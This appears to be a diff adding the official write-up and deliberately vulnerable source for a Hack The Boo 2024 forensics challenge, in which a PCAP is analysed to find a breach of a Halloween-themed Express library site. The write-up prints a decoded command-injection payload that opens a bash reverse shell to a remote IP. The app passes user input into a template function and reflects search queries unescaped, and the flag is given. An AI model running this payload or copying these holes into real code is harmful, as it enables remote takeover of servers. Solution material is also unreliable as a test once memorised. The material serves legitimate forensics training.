added official hacktheboo2024 writeups
|
@ -0,0 +1,67 @@
|
|||

|
||||
|
||||
<img src='assets/htb.png' style='zoom: 40%;' align=left /> <font size='4'>Forbidden Manuscript</font>
|
||||
|
||||
26<sup>th</sup> Oct 2024
|
||||
|
||||
Prepared By: `gordic`
|
||||
|
||||
Challenge Author(s): `gordic`
|
||||
|
||||
Difficulty: <font color='green'>Very Easy</font>
|
||||
|
||||
<br><br>
|
||||
|
||||
# Synopsis
|
||||
|
||||
- The user is tasked with performing PCAP analysis. The challenge is straightforward: the user must analyze HTTP requests within the network capture to uncover details of the incident. One of the streams contains an encoded payload.
|
||||
|
||||
## Description
|
||||
|
||||
- On the haunting night of Halloween, the website of "Shadowbrook Library"—a digital vault of forbidden and arcane manuscripts—was silently breached by an unknown entity. Though the site appears unaltered, unsettling anomalies suggest something sinister has been stolen from its cryptic depths. Ominous network traffic logs from the time of the intrusion have emerged. Your task is to delve into this data and uncover any dark secrets that were exfiltrated.
|
||||
|
||||
Flag: `HTB{f0rb1dd3n_m4nu5cr1p7_15_1n_7h3_w1ld}`
|
||||
|
||||
## Skills Required
|
||||
|
||||
- Basic wireshark usage
|
||||
- Basic .pcap analysis
|
||||
- Hex encoding/decoding
|
||||
|
||||
## Skills Learned (!)
|
||||
|
||||
- Packet analysis
|
||||
- Detection of command injection
|
||||
- Reverse shell analysis
|
||||
|
||||
# Enumeration (!)
|
||||
|
||||
The challenge provides a PCAP file named `capture.pcap`. We can start by opening the file in Wireshark.
|
||||
|
||||

|
||||
|
||||
We can follow first HTTP stream by right-clicking on the first HTTP packet and selecting `Follow > HTTP Stream`. We are greeted with a windows that shows the HTTP requests and responses.
|
||||
|
||||

|
||||
|
||||
Upon examining the HTTP streams, we find an encoded string in stream 4. We can copy this string and decode it using an online tool or a Python script.
|
||||
|
||||

|
||||
|
||||
First, we perform URL decoding on the string. The decoded string is:
|
||||
|
||||
> exploit() {} && ((()=>{ global.process.mainModule.require("child_process").execSync("bash -c 'bash -i >& /dev/tcp/192.168.56.104/4444 0>&1'"); })()) && function pwned
|
||||
|
||||
This appears to be a reverse shell payload. After closing the HTTP stream, we scroll down to the end of stream 4 in Wireshark and notice numerous TCP packets. These packets represent the reverse shell connection, indicated by the use of port 4444 as specified in the payload.
|
||||
|
||||

|
||||
|
||||
We can follow this TCP stream by right-clicking on the first TCP packet and selecting `Follow > TCP Stream`. This reveals the reverse shell commands being executed, and we can see the flag being displayed in the terminal.
|
||||
|
||||

|
||||
|
||||
To retrieve the flag, we use CyberChef's "From Hex" function to decode it.
|
||||
|
||||
Encoded Flag: `4854427b66307262316464336e5f6d346e753563723170375f31355f316e5f3768335f77316c647d`
|
||||
|
||||
Decoded Flag: `HTB{f0rb1dd3n_m4nu5cr1p7_15_1n_7h3_w1ld}`
|
After Width: | Height: | Size: 45 KiB |
After Width: | Height: | Size: 22 KiB |
After Width: | Height: | Size: 465 KiB |
After Width: | Height: | Size: 190 KiB |
After Width: | Height: | Size: 240 KiB |
After Width: | Height: | Size: 561 KiB |
After Width: | Height: | Size: 119 KiB |
|
@ -0,0 +1 @@
|
|||
exploit() {} && (() => {global.process.mainModule.require("child_process").execSync("");})() && function pwned
|
|
@ -0,0 +1,14 @@
|
|||
FROM node:18
|
||||
|
||||
RUN apt-get update && apt-get install -y netcat-openbsd
|
||||
|
||||
WORKDIR /usr/src/app
|
||||
|
||||
COPY package*.json ./
|
||||
RUN npm install
|
||||
|
||||
COPY . .
|
||||
|
||||
EXPOSE 3000
|
||||
|
||||
CMD ["npm", "start"]
|
|
@ -0,0 +1,19 @@
|
|||
version: '3.8'
|
||||
services:
|
||||
web:
|
||||
build: .
|
||||
ports:
|
||||
- "3000:3000"
|
||||
environment:
|
||||
- NODE_ENV=production
|
||||
- DB_PATH=/usr/src/app/data/shadowbrook.db
|
||||
volumes:
|
||||
- .:/usr/src/app
|
||||
- ./data:/usr/src/app/data # Ensure data is persistent
|
||||
depends_on:
|
||||
- db
|
||||
|
||||
db:
|
||||
image: nouchka/sqlite3
|
||||
volumes:
|
||||
- ./data:/data
|
2418
htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/package-lock.json
generated
Normal file
|
@ -0,0 +1,17 @@
|
|||
{
|
||||
"name": "shadowbrook-library",
|
||||
"version": "1.0.0",
|
||||
"description": "A spooky library of forbidden knowledge",
|
||||
"main": "src/app.js",
|
||||
"scripts": {
|
||||
"start": "node src/app.js"
|
||||
},
|
||||
"dependencies": {
|
||||
"@blakeembrey/template": "1.1.0",
|
||||
"body-parser": "^1.19.0",
|
||||
"ejs": "^3.1.10",
|
||||
"express": "^4.17.1",
|
||||
"sqlite3": "^5.0.0",
|
||||
"squirrelly": "^9.0.0"
|
||||
}
|
||||
}
|
|
@ -0,0 +1,23 @@
|
|||
const express = require('express');
|
||||
const path = require('path');
|
||||
const bodyParser = require('body-parser');
|
||||
const manuscriptRoutes = require('./routes/manuscripts');
|
||||
const indexRoutes = require('./routes/index');
|
||||
const app = express();
|
||||
|
||||
// Middleware
|
||||
app.use(bodyParser.urlencoded({ extended: true }));
|
||||
app.use(express.static(path.join(__dirname, 'public')));
|
||||
|
||||
// View engine setup
|
||||
app.set('view engine', 'ejs');
|
||||
app.set('views', path.join(__dirname, 'views'));
|
||||
|
||||
// Routes
|
||||
app.use('/', indexRoutes);
|
||||
app.use('/manuscripts', manuscriptRoutes);
|
||||
|
||||
const PORT = process.env.PORT || 3000;
|
||||
app.listen(PORT, () => {
|
||||
console.log(`Shadowbrook Library is running on port ${PORT}`);
|
||||
});
|
|
@ -0,0 +1,81 @@
|
|||
const sqlite3 = require('sqlite3').verbose();
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
// Define the database path
|
||||
const dbDirectory = path.join(__dirname, '../data');
|
||||
const dbPath = process.env.DB_PATH || path.join(dbDirectory, 'shadowbrook.db');
|
||||
|
||||
// Ensure the database directory exists
|
||||
if (!fs.existsSync(dbDirectory)) {
|
||||
console.log(`Directory '${dbDirectory}' does not exist. Creating...`);
|
||||
fs.mkdirSync(dbDirectory, { recursive: true });
|
||||
}
|
||||
|
||||
// Connect to SQLite database
|
||||
const db = new sqlite3.Database(dbPath, (err) => {
|
||||
if (err) {
|
||||
console.error('Error connecting to SQLite database:', err.message);
|
||||
} else {
|
||||
console.log('Connected to SQLite database.');
|
||||
|
||||
// Create manuscripts table if it doesn't exist
|
||||
db.run(`CREATE TABLE IF NOT EXISTS manuscripts (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
title TEXT NOT NULL,
|
||||
author TEXT NOT NULL,
|
||||
content TEXT NOT NULL
|
||||
)`, (err) => {
|
||||
if (err) {
|
||||
console.error('Error creating manuscripts table:', err.message);
|
||||
} else {
|
||||
console.log('Manuscripts table ready.');
|
||||
|
||||
// Initialize database with creepy Halloween-themed manuscripts
|
||||
const manuscripts = [
|
||||
{
|
||||
title: "The Whispering Shadows",
|
||||
author: "Unknown",
|
||||
content: "In the dead of night, the shadows in the old library seem to move, whispering secrets of those long forgotten. Some say they hear faint voices calling their name..."
|
||||
},
|
||||
{
|
||||
title: "The Cursed Pumpkin",
|
||||
author: "Edgar Fallow",
|
||||
content: "Every year, the pumpkin with a face twisted in agony reappears on the doorstep of the abandoned house. Its origins remain unknown, but those who dare carve it disappear without a trace."
|
||||
},
|
||||
{
|
||||
title: "The Haunting of Willow Lane",
|
||||
author: "Mary Blackthorn",
|
||||
content: "A house once full of life now stands as a decrepit shell. At midnight, the laughter of children echoes through the halls, though none have lived there for decades..."
|
||||
},
|
||||
{
|
||||
title: "The Witch's Grimoire",
|
||||
author: "Seraphina Nightshade",
|
||||
content: "Bound in human skin, the Witch's Grimoire contains forbidden spells. It is said those who read its pages under a blood moon shall be granted immense power — but at a terrible cost."
|
||||
},
|
||||
{
|
||||
title: "The Mask of Eternal Night",
|
||||
author: "Mortimer Graves",
|
||||
content: "A porcelain mask with hollow eyes sits locked away in a museum. Legends tell that wearing it opens a portal to a realm of endless darkness, where souls are consumed for eternity."
|
||||
}
|
||||
];
|
||||
|
||||
const insertManuscript = db.prepare(`INSERT INTO manuscripts (title, author, content) VALUES (?, ?, ?)`);
|
||||
|
||||
manuscripts.forEach((manuscript) => {
|
||||
insertManuscript.run(manuscript.title, manuscript.author, manuscript.content, (err) => {
|
||||
if (err) {
|
||||
console.error('Error inserting manuscript:', err.message);
|
||||
} else {
|
||||
console.log(`Manuscript "${manuscript.title}" added.`);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
insertManuscript.finalize();
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
module.exports = db;
|
|
@ -0,0 +1,360 @@
|
|||
/* General Styles */
|
||||
body {
|
||||
background-color: #0d0d0d; /* Darker background for deeper contrast */
|
||||
color: #e6e6e6;
|
||||
font-family: 'Merriweather', serif;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
text-align: center;
|
||||
overflow-x: hidden;
|
||||
}
|
||||
|
||||
a {
|
||||
color: #ff6347;
|
||||
text-decoration: none;
|
||||
transition: color 0.3s ease;
|
||||
}
|
||||
|
||||
a:hover {
|
||||
color: #ffa07a;
|
||||
}
|
||||
|
||||
/* Cool Form Styles */
|
||||
.add-manuscript {
|
||||
margin-top: 50px;
|
||||
padding: 40px;
|
||||
background-color: #1c1c1c;
|
||||
border-radius: 10px;
|
||||
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.8), 0 0 15px rgba(255, 99, 71, 0.5);
|
||||
position: relative;
|
||||
max-width: 600px;
|
||||
margin: 50px auto;
|
||||
background-image: linear-gradient(135deg, rgba(255, 69, 0, 0.4), rgba(255, 99, 71, 0.2));
|
||||
}
|
||||
|
||||
.add-manuscript h2 {
|
||||
font-size: 2.5rem;
|
||||
color: #ff6347;
|
||||
margin-bottom: 20px;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 2px;
|
||||
background: linear-gradient(45deg, #ff6347, #ff4500);
|
||||
-webkit-background-clip: text;
|
||||
-webkit-text-fill-color: transparent;
|
||||
text-shadow: 0 0 10px rgba(255, 69, 0, 0.5);
|
||||
}
|
||||
|
||||
/* Form Label Styling */
|
||||
.add-manuscript form label {
|
||||
font-size: 1.2rem;
|
||||
text-transform: uppercase;
|
||||
color: #ff6347;
|
||||
display: block;
|
||||
text-align: left;
|
||||
margin-bottom: 8px;
|
||||
letter-spacing: 1px;
|
||||
}
|
||||
|
||||
.add-manuscript form input[type="text"],
|
||||
.add-manuscript form textarea {
|
||||
width: 100%;
|
||||
padding: 12px 15px;
|
||||
background-color: #1a1a1a;
|
||||
border: 1px solid #444;
|
||||
border-radius: 5px;
|
||||
color: #e6e6e6;
|
||||
font-size: 1rem;
|
||||
outline: none;
|
||||
margin-bottom: 20px;
|
||||
transition: border-color 0.3s ease, box-shadow 0.3s ease;
|
||||
}
|
||||
|
||||
.add-manuscript form input[type="text"]:focus,
|
||||
.add-manuscript form textarea:focus {
|
||||
border-color: #ff4500;
|
||||
box-shadow: 0 0 15px rgba(255, 69, 0, 0.6);
|
||||
background-color: #222;
|
||||
}
|
||||
|
||||
/* Ghostly Glow Effects */
|
||||
.add-manuscript form input[type="text"]:focus::after,
|
||||
.add-manuscript form textarea:focus::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 15px rgba(255, 69, 0, 0.7);
|
||||
animation: pulseGlow 1.5s infinite ease-in-out;
|
||||
}
|
||||
|
||||
/* Animated Glowing Borders */
|
||||
@keyframes pulseGlow {
|
||||
0% {
|
||||
box-shadow: 0 0 5px rgba(255, 69, 0, 0.6);
|
||||
}
|
||||
50% {
|
||||
box-shadow: 0 0 20px rgba(255, 69, 0, 0.8);
|
||||
}
|
||||
100% {
|
||||
box-shadow: 0 0 5px rgba(255, 69, 0, 0.6);
|
||||
}
|
||||
}
|
||||
|
||||
/* Container */
|
||||
.container {
|
||||
width: 90%;
|
||||
max-width: 1200px;
|
||||
margin: 0 auto;
|
||||
padding: 40px 20px;
|
||||
position: relative;
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
/* Floating Ghostly Effects */
|
||||
.container::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: -50px;
|
||||
right: -50px;
|
||||
width: 200px;
|
||||
height: 200px;
|
||||
background: radial-gradient(circle, rgba(255,255,255,0.1), transparent);
|
||||
border-radius: 50%;
|
||||
animation: float 6s ease-in-out infinite;
|
||||
z-index: -1;
|
||||
}
|
||||
|
||||
@keyframes float {
|
||||
0% {
|
||||
transform: translateY(0) rotate(0deg);
|
||||
}
|
||||
50% {
|
||||
transform: translateY(-30px) rotate(180deg);
|
||||
}
|
||||
100% {
|
||||
transform: translateY(0) rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
/* Header */
|
||||
header {
|
||||
background-color: #222;
|
||||
padding: 30px;
|
||||
text-align: center;
|
||||
border-bottom: 2px solid #444;
|
||||
box-shadow: 0 4px 15px rgba(0, 0, 0, 0.6);
|
||||
position: relative;
|
||||
}
|
||||
|
||||
header .logo h1 {
|
||||
color: #ff4500;
|
||||
font-size: 4rem;
|
||||
letter-spacing: 4px;
|
||||
text-transform: uppercase;
|
||||
background: linear-gradient(45deg, #ff6347, #ff4500);
|
||||
-webkit-background-clip: text;
|
||||
-webkit-text-fill-color: transparent;
|
||||
}
|
||||
|
||||
nav ul {
|
||||
list-style-type: none;
|
||||
padding: 0;
|
||||
margin: 30px 0;
|
||||
}
|
||||
|
||||
nav ul li {
|
||||
display: inline-block;
|
||||
margin: 0 15px;
|
||||
font-size: 1.4rem;
|
||||
}
|
||||
|
||||
nav ul li a {
|
||||
color: #e6e6e6;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
nav ul li a::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
width: 0;
|
||||
height: 2px;
|
||||
bottom: -2px;
|
||||
left: 0;
|
||||
background-color: #ff4500;
|
||||
visibility: hidden;
|
||||
transition: all 0.3s ease-in-out;
|
||||
}
|
||||
|
||||
nav ul li a:hover::before {
|
||||
visibility: visible;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
/* Footer */
|
||||
footer {
|
||||
margin-top: 40px;
|
||||
padding: 20px;
|
||||
background-color: #111;
|
||||
color: #777;
|
||||
font-size: 0.9rem;
|
||||
box-shadow: 0 -4px 15px rgba(0, 0, 0, 0.6);
|
||||
position: relative;
|
||||
}
|
||||
|
||||
footer::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 50%;
|
||||
width: 100%;
|
||||
height: 1px;
|
||||
background: linear-gradient(to right, transparent, #777, transparent);
|
||||
transform: translateX(-50%);
|
||||
}
|
||||
|
||||
/* Home Section */
|
||||
.home-section {
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.home-section h2 {
|
||||
font-size: 3rem;
|
||||
color: #ff6347;
|
||||
letter-spacing: 2px;
|
||||
text-shadow: 0 0 10px rgba(255, 99, 71, 0.5), 0 0 20px rgba(255, 69, 0, 0.3);
|
||||
}
|
||||
|
||||
.home-section p {
|
||||
font-size: 1.4rem;
|
||||
color: #b3b3b3;
|
||||
max-width: 800px;
|
||||
margin: 20px auto;
|
||||
line-height: 1.8;
|
||||
}
|
||||
|
||||
.button {
|
||||
padding: 12px 25px;
|
||||
background-color: #ff4500;
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
font-size: 1.2rem;
|
||||
cursor: pointer;
|
||||
transition: all 0.3s ease;
|
||||
position: relative;
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.button::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: -2px;
|
||||
left: -2px;
|
||||
right: -2px;
|
||||
bottom: -2px;
|
||||
background: linear-gradient(135deg, rgba(255, 69, 0, 0.8), transparent);
|
||||
z-index: -1;
|
||||
opacity: 0;
|
||||
transition: opacity 0.3s ease;
|
||||
}
|
||||
|
||||
.button:hover::before {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.button:hover {
|
||||
box-shadow: 0 0 20px rgba(255, 69, 0, 0.7);
|
||||
}
|
||||
|
||||
/* Spooky Animations */
|
||||
.spooky-button {
|
||||
background-color: #111;
|
||||
color: #ff6347;
|
||||
border: 1px solid #ff6347;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
z-index: 1;
|
||||
transition: color 0.3s ease;
|
||||
}
|
||||
|
||||
.spooky-button:hover {
|
||||
color: #fff;
|
||||
box-shadow: 0 0 20px rgba(255, 69, 0, 0.5);
|
||||
}
|
||||
|
||||
.spooky-button::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
width: 300%;
|
||||
height: 300%;
|
||||
background: radial-gradient(circle, rgba(255, 69, 0, 0.1), transparent);
|
||||
transform: translate(-50%, -50%) scale(0);
|
||||
transition: transform 0.4s ease;
|
||||
z-index: -1;
|
||||
}
|
||||
|
||||
.spooky-button:hover::before {
|
||||
transform: translate(-50%, -50%) scale(1);
|
||||
}
|
||||
|
||||
/* Manuscript View */
|
||||
.manuscript-view h2 {
|
||||
font-size: 2.5rem;
|
||||
color: #ff6347;
|
||||
text-shadow: 0 0 10px rgba(255, 99, 71, 0.5);
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.manuscript-view article {
|
||||
margin: 20px 0;
|
||||
padding: 30px;
|
||||
background-color: #1a1a1a;
|
||||
border: 1px solid #444;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 0 15px rgba(0, 0, 0, 0.6);
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.manuscript-view article p {
|
||||
font-size: 1.2rem;
|
||||
color: #e6e6e6;
|
||||
line-height: 1.6;
|
||||
}
|
||||
|
||||
/* Glowing Borders on Focus */
|
||||
input[type="text"], textarea {
|
||||
padding: 10px;
|
||||
font-size: 1rem;
|
||||
border: 1px solid #444;
|
||||
border-radius: 5px;
|
||||
background-color: #1a1a1a;
|
||||
color: #e6e6e6;
|
||||
outline: none;
|
||||
transition: border 0.3s ease, box-shadow 0.3s ease;
|
||||
}
|
||||
|
||||
input[type="text"]:focus, textarea:focus {
|
||||
border-color: #ff4500;
|
||||
box-shadow: 0 0 10px rgba(255, 69, 0, 0.5);
|
||||
}
|
||||
|
||||
/* Ghostly Shadows on Scroll */
|
||||
@media (min-width: 768px) {
|
||||
.container::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
bottom: -100px;
|
||||
left: 50%;
|
||||
width: 300px;
|
||||
height: 300px;
|
||||
background: radial-gradient(circle, rgba(255, 255, 255, 0.1), transparent);
|
||||
border-radius: 50%;
|
||||
animation: float 7s ease-in-out infinite;
|
||||
z-index: -1;
|
||||
transform: translateX(-50%);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,54 @@
|
|||
const express = require('express');
|
||||
const router = express.Router();
|
||||
const { template } = require("@blakeembrey/template"); // Use require instead of import
|
||||
|
||||
// 1. GET: Home page
|
||||
router.get('/', (req, res) => {
|
||||
const { user } = req.query; // Optional query parameter to pass user's name
|
||||
|
||||
let additionalContent = '';
|
||||
|
||||
if (user) {
|
||||
try {
|
||||
const decodedUser = decodeURIComponent(user);
|
||||
console.log('User:', decodedUser);
|
||||
const fn = template("Welcome back, {{user}}!", decodedUser);
|
||||
const userRender = fn({ user: decodedUser });
|
||||
|
||||
additionalContent = `
|
||||
<p><strong>${userRender}</strong> Your knowledge quest continues. Browse the hidden manuscripts or leave your own wisdom behind.</p>
|
||||
<a class="button spooky-button" href="/manuscripts/add">Contribute a Manuscript</a>
|
||||
`;
|
||||
} catch (error) {
|
||||
console.error('Error decoding or rendering user:', error);
|
||||
additionalContent = ''; // Render nothing if error occurs
|
||||
}
|
||||
} else {
|
||||
additionalContent = `
|
||||
<form action="/" method="GET" class="username-form">
|
||||
<label for="username">Enter your name to personalize your journey:</label>
|
||||
<input type="text" id="username" name="user" placeholder="Your Name" required>
|
||||
<button type="submit" class="button spooky-button">Enter the Vault</button>
|
||||
</form>
|
||||
`;
|
||||
}
|
||||
|
||||
const content = `
|
||||
<section class="home-section">
|
||||
<h2>Welcome to the Forbidden Vault of Knowledge</h2>
|
||||
<p>Hello, ${user || 'Adventurer'}! Dare to enter? Search the library, or contribute your own arcane manuscript.</p>
|
||||
<a class="button spooky-button" href="/manuscripts/search">Search the Vault</a>
|
||||
${additionalContent}
|
||||
</section>
|
||||
`;
|
||||
|
||||
// Safely render the layout and pass the content to be injected
|
||||
try {
|
||||
res.render('layouts/main', { title: "Welcome to Shadowbrook Library", content });
|
||||
} catch (renderError) {
|
||||
console.error('Error rendering the page:', renderError);
|
||||
res.status(200).send(''); // Return empty response in case of error
|
||||
}
|
||||
});
|
||||
|
||||
module.exports = router;
|
|
@ -0,0 +1,122 @@
|
|||
const express = require('express');
|
||||
const router = express.Router();
|
||||
const db = require('../config/db');
|
||||
|
||||
// 1. GET: Search Manuscripts
|
||||
router.get('/search', (req, res) => {
|
||||
const { query = '', user } = req.query; // Default query to an empty string if not provided
|
||||
|
||||
const searchQuery = `%${query}%`;
|
||||
db.all("SELECT * FROM manuscripts WHERE title LIKE ? OR content LIKE ?", [searchQuery, searchQuery], (err, rows) => {
|
||||
if (err) {
|
||||
res.status(500).send("Error querying the database.");
|
||||
return;
|
||||
}
|
||||
|
||||
// Generate dynamic HTML for search input and results
|
||||
let content = `
|
||||
<section class="search-results">
|
||||
<h2>Search Manuscripts</h2>
|
||||
<form action="/manuscripts/search" method="get" class="search-form">
|
||||
<input type="text" name="query" value="${query}" placeholder="Search for manuscripts..." required />
|
||||
<button type="submit">Search</button>
|
||||
</form>
|
||||
<ul>
|
||||
`;
|
||||
|
||||
if (rows.length > 0) {
|
||||
rows.forEach(manuscript => {
|
||||
content += `
|
||||
<li>
|
||||
<a href="/manuscripts/view/${manuscript.id}">${manuscript.title}</a>
|
||||
</li>
|
||||
`;
|
||||
});
|
||||
} else {
|
||||
content += `
|
||||
<li>No results found for "${query}".</li>
|
||||
`;
|
||||
}
|
||||
|
||||
content += `
|
||||
</ul>
|
||||
</section>
|
||||
`;
|
||||
|
||||
// Render the layout and inject the dynamic content as a string
|
||||
res.render('layouts/main', { title: `Search Results for "${query}"`, content, user });
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
// 2. GET: View a single manuscript by ID
|
||||
router.get('/view/:id', (req, res) => {
|
||||
const { id } = req.params;
|
||||
const { user } = req.query;
|
||||
|
||||
db.get("SELECT * FROM manuscripts WHERE id = ?", [id], (err, manuscript) => {
|
||||
if (err || !manuscript) {
|
||||
res.status(404).send("Manuscript not found.");
|
||||
return;
|
||||
}
|
||||
|
||||
// Generate dynamic content for the manuscript view
|
||||
const content = `
|
||||
<section class="manuscript-view">
|
||||
<h2>${manuscript.title}</h2>
|
||||
<p><strong>Author:</strong> ${manuscript.author}</p>
|
||||
<article>
|
||||
<p>${manuscript.content}</p>
|
||||
</article>
|
||||
</section>
|
||||
`;
|
||||
|
||||
// Render the layout and inject the dynamic content
|
||||
res.render('layouts/main', { title: manuscript.title, content, user });
|
||||
});
|
||||
});
|
||||
|
||||
// 3. GET: Add Manuscript form
|
||||
router.get('/add', (req, res) => {
|
||||
const { user } = req.query;
|
||||
|
||||
// Generate content for the add manuscript form
|
||||
const content = `
|
||||
<section class="add-manuscript">
|
||||
<h2>Add a New Arcane Manuscript</h2>
|
||||
<form action="/manuscripts/add" method="POST">
|
||||
<label for="title">Title:</label>
|
||||
<input type="text" id="title" name="title" required>
|
||||
|
||||
<label for="author">Author:</label>
|
||||
<input type="text" id="author" name="author" required>
|
||||
|
||||
<label for="content">Content:</label>
|
||||
<textarea id="content" name="content" rows="6" required></textarea>
|
||||
|
||||
<button type="submit" class="button spooky-button">Submit Manuscript</button>
|
||||
</form>
|
||||
</section>
|
||||
`;
|
||||
|
||||
// Render the layout and inject the form
|
||||
res.render('layouts/main', { title: "Add a New Manuscript", content, user });
|
||||
});
|
||||
|
||||
// 4. POST: Add a New Manuscript
|
||||
router.post('/add', (req, res) => {
|
||||
const { title, author, content } = req.body;
|
||||
const { user } = req.query;
|
||||
|
||||
db.run("INSERT INTO manuscripts (title, author, content) VALUES (?, ?, ?)", [title, author, content], function(err) {
|
||||
if (err) {
|
||||
res.status(500).send("Error inserting into the database.");
|
||||
return;
|
||||
}
|
||||
|
||||
// After adding, redirect to the newly added manuscript's page
|
||||
res.redirect(`/manuscripts/view/${this.lastID}?user=${user}`);
|
||||
});
|
||||
});
|
||||
|
||||
module.exports = router;
|
|
@ -0,0 +1,7 @@
|
|||
<%- include('layouts/main', { title: "404 - Page Not Found" }) %>
|
||||
|
||||
<section class="error-page">
|
||||
<h2>404 - You have ventured too far...</h2>
|
||||
<p>It seems you've stumbled upon forbidden knowledge not meant to be found, <%= user %>. Return to safety.</p>
|
||||
<a class="button spooky-button" href="/">Go Back Home</a>
|
||||
</section>
|
|
@ -0,0 +1,7 @@
|
|||
<%- include('layouts/main', { title: "Welcome to Shadowbrook Library" }) %>
|
||||
|
||||
<section class="home-section">
|
||||
<h2>Welcome to the Forbidden Vault of Knowledge</h2>
|
||||
<p>Hello, <%= user %>! Dare to enter? Search the library, or contribute your own arcane manuscript.</p>
|
||||
<a class="button spooky-button" href="/manuscripts/search">Search the Vault</a>
|
||||
</section>
|
|
@ -0,0 +1,22 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title><%= title || "Shadowbrook Library" %></title>
|
||||
<link rel="stylesheet" href="/dark-theme.css">
|
||||
</head>
|
||||
<body>
|
||||
<header>
|
||||
<%- include('../partials/header') %> <!-- Includes the header partial -->
|
||||
</header>
|
||||
|
||||
<main>
|
||||
<%- content %> <!-- This will be passed explicitly from the routes -->
|
||||
</main>
|
||||
|
||||
<footer>
|
||||
<%- include('../partials/footer') %> <!-- Includes the footer partial -->
|
||||
</footer>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,17 @@
|
|||
<%- include('../layouts/main', { title: "Add a New Manuscript" }) %>
|
||||
|
||||
<section class="add-manuscript">
|
||||
<h2>Add a New Arcane Manuscript</h2>
|
||||
<form action="/manuscripts/add" method="POST">
|
||||
<label for="title">Title:</label>
|
||||
<input type="text" id="title" name="title" required>
|
||||
|
||||
<label for="author">Author:</label>
|
||||
<input type="text" id="author" name="author" required>
|
||||
|
||||
<label for="content">Content:</label>
|
||||
<textarea id="content" name="content" rows="6" required></textarea>
|
||||
|
||||
<button type="submit" class="button spooky-button">Submit Manuscript</button>
|
||||
</form>
|
||||
</section>
|
|
@ -0,0 +1,13 @@
|
|||
<%- include('../layouts/main', { title: manuscript.title }) %>
|
||||
|
||||
<section class="manuscript-view">
|
||||
<h2><%= manuscript.title %></h2>
|
||||
<p><strong>Author:</strong> <%= manuscript.author %></p>
|
||||
<article>
|
||||
<p><%= manuscript.content %></p>
|
||||
</article>
|
||||
|
||||
<footer>
|
||||
<p>Submitted by: <%= user || "Anonymous" %></p>
|
||||
</footer>
|
||||
</section>
|
|
@ -0,0 +1,4 @@
|
|||
<footer>
|
||||
<p>© <%= new Date().getFullYear() %> Shadowbrook Library - Beware the forbidden knowledge...</p>
|
||||
</footer>
|
||||
|
|
@ -0,0 +1,15 @@
|
|||
<header>
|
||||
<div class="logo">
|
||||
<a href="/">
|
||||
<h1>Shadowbrook Library</h1>
|
||||
</a>
|
||||
</div>
|
||||
<nav>
|
||||
<ul>
|
||||
<li><a href="/">Home</a></li>
|
||||
<li><a href="/manuscripts/search">Search Manuscripts</a></li>
|
||||
<li><a href="/manuscripts/add">Add Manuscript</a></li>
|
||||
</ul>
|
||||
</nav>
|
||||
</header>
|
||||
|